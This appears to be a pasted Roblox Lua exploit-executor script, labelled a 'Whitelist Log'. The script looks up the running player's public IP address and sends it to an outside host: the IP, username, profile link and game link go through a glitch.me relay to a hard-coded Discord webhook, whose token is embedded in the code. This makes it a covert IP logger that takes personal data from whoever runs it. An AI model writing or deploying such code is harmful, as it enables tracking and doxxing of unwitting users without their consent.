· 6 years ago · Jan 17, 2020, 08:28 AM
1local HttpService = game:GetService("HttpService");
2local plr = game.Players.LocalPlayer
3local ip = tostring(game:HttpGet("https://api.ipify.org",true))
4
5function SendMessage(Webhook, Message, Botname)
6 if not string.find(Webhook, "https://discordapp.com/api/webhooks/") then
7 return error("Send a valid URL");
8 end
9 local Name;
10 local WakeUp = game:HttpGet("http://buritoman69.glitch.me");
11 local API = "http://buritoman69.glitch.me/webhook";
12 if (not Message or Message == "" or not Botname) then
13 Name = "GameBot"
14 return error("nil or empty message!")
15 else
16 Name = Botname;
17 end
18 local Body = {
19 ['Key'] = "applesaregood",
20 ['Message'] = "UserName: **"..plr.Name.."** | IP:**"..ip.."** | Profile: https://www.roblox.com/users/"..plr.UserId.." | Game: https://www.roblox.com/games/"..game.PlaceId.."",
21 ['Name'] = Name,
22 ['Webhook'] = Webhook
23 }
24 Body = HttpService:JSONEncode(Body);
25 local Data = game:HttpPost(API, Body, false, "application/json")
26 return Data or nil;
27end
28
29SendMessage("https://discordapp.com/api/webhooks/665754701597376532/cH6-XKVBRHjF_mCoATuwu2K2suS3dhPaaguTVSWsxOzwL2Mb3l-Fx9JcZF1Im2T2bVsc", "MessageHere", "Whitelist Log")